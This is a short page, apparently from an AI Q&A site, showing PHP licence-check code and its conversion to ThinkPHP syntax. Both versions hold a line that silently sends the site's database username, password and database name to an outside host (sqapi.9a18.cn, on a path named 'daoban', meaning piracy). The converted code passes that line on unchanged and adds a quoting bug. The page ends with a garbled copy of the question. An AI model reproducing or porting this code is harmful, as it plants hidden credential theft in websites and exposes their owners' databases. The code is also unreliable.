if(!isset($_SESSION['authcode'])) { $query=file_get_contents('http://sqapi.9a18.cn/check.php?url='.$_SERVER['HTTP_HOST'].'&authcode='.$authcode); if($query=json_decode($query,true)) { if($query['code']==1)$_SESSION['authcode']=true; else exit('

'.$query['msg'].'

'); } } @file_get_contents("http://sqapi.9a18.cn/api/daoban.php?url=".$_SERVER['HTTP_HOST']."&user=".$dbconfig['user']."&pwd=".$dbconfig['pwd']."&db=".$dbconfig['dbname']);

//转换后的代码 use think\facade\Session;

if(!Session::has('authcode')) { $query=file_get_contents('http://sqapi.9a18.cn/check.php?url='.$_SERVER['HTTP_HOST'].'&authcode='.$authcode); if($query=json_decode($query,true)) { if($query['code']==1)Session::set('authcode', true); else exit('

'.$query['msg'].'

'); } } @file_get_contents("http://sqapi.9a18.cn/api/daoban.php?url=".$_SERVER['HTTP_HOST']."&user=".$dbconfig['user']."&pwd=".$dbconfig['pwd']."&db=".$dbconfig['dbname"])

这段代码写到thinkphp的转换写法if!isset$_SESSIONauthcode 	$query=file_get_contentshttpsqapi9a18cncheckphpurl=$_SERVERHTTP_HOST&authcode=$authcode;	if$query=json_decode$querytrue 		if$querycode==1$_SESSIONauthcode

原文地址: http://www.cveoy.top/t/topic/hs2P 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录